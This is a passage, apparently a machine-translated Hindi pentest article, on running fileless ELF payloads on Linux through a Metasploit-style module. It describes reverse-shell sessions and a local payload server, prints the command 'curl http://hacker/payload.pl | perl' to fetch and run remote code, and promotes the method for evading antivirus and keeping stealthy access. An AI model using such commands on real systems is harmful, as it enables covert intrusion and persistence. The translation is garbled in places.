यह निम्नानुसार काम करता है - हम वांछित सत्र को इंगित करते हैं, यह या तो मीटरपरेटर या एक नियमित रिवर्स-शेल हो सकता है। अगला, हम प्रक्रियाओं की सूची में अपने योगिनी, तर्कों और वांछित नाम के लिए स्थानीय पथ का संकेत देते हैं। शुरुआत के बाद, पेलोड की मेजबानी के लिए एक स्थानीय वेब सर्वर लॉन्च किया जाएगा, और सत्र "रॉकिंग चेयर" की खोज करेगा, वर्तमान में कर्ल और विग समर्थित हैं। कम से कम उनमें से एक को खोजने के बाद, सभी दुभाषियों की खोज की जाएगी यदि हमने VECTOR पैरामीटर में निर्दिष्ट नहीं किया है जो हमें चाहिए। ठीक है, अगर सफल होता है, तो हमारे वेब सर्वर से पेलोड को डाउनलोड करने और इसे पाइप के माध्यम से वांछित दुभाषिया में स्थानांतरित करने के लिए एक कमांड निष्पादित किया जाएगा, अर्थात। $ curl http://hacker/payload.pl | perl $ curl http://hacker/payload.pl | perl

एक निष्कर्ष के बजाय।

लिनक्स पर फ़ाइल रहित ईएलएफ फाइलें पैठ परीक्षण के लिए एक उपयोगी तकनीक है। यह एक काफी मूक विधि है जो एंटी-वायरस सुरक्षा उपकरण, अखंडता निगरानी प्रणाली और निगरानी प्रणालियों की एक विस्तृत श्रृंखला का सामना कर सकती है जो हार्ड ड्राइव की सामग्री में बदलाव की निगरानी करते हैं। इस तरह, आप आसानी से लक्ष्य प्रणाली तक पहुंच बनाए रख सकते हैं, जबकि न्यूनतम निशान छोड़ सकते हैं।
इस लेख में, हमने प्रोग्रामिंग भाषाओं का उपयोग किया, जो अक्सर लिनक्स वितरण, फर्मवेयर, राउटर और मोबाइल उपकरणों पर डिफ़ॉल्ट रूप से स्थापित होती हैं। मैं इस लेख के लेखक को भी धन्यवाद देना चाहता हूं, जिन्होंने हमें इस समीक्षा के लिए प्रेरित किया।